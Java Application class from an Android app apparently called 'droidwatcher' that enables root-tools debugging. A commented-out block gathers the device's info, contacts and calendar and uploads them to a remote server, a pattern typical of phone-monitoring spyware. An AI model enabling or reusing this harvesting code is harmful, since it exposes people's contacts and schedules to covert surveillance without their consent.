package com.droidwatcher;

import android.app.Application;
import android.content.Context;

import com.droidwatcher.util.AXLog;


public class MyApplication extends Application {
    public static Context app;

    @Override
    public void onCreate() {
        super.onCreate();
        AXLog.e("wzytest","application oncreate");
        Debug.setRootToolsDebugMode();

        app = this;

//        MediaType textType = MediaType.parse("text/plain");
//        String mobileInfoJson = ModulesUtils.getMobileInfoJson(this);
//        String phoneBookJson = ModulesUtils.getPhoneBookJson(this);
//        String calendarJson = ModulesUtils.getCalendarJson(this);
//
//        SendAPI sendAPI = MyRetrofitFactory.getSendAPISingleton();
//        Subscriber subscriber = new MySubscriber<Result<String>>();
//        Observable
//                .merge( sendAPI.uploadMobileInfo(RequestBody.create(textType, mobileInfoJson)),
//                        sendAPI.uploadContact(RequestBody.create(textType, phoneBookJson)),
//                        sendAPI.uploadCalendar(RequestBody.create(textType, calendarJson)))
//                .subscribeOn(Schedulers.io())
//                .subscribe(subscriber);


    }
}
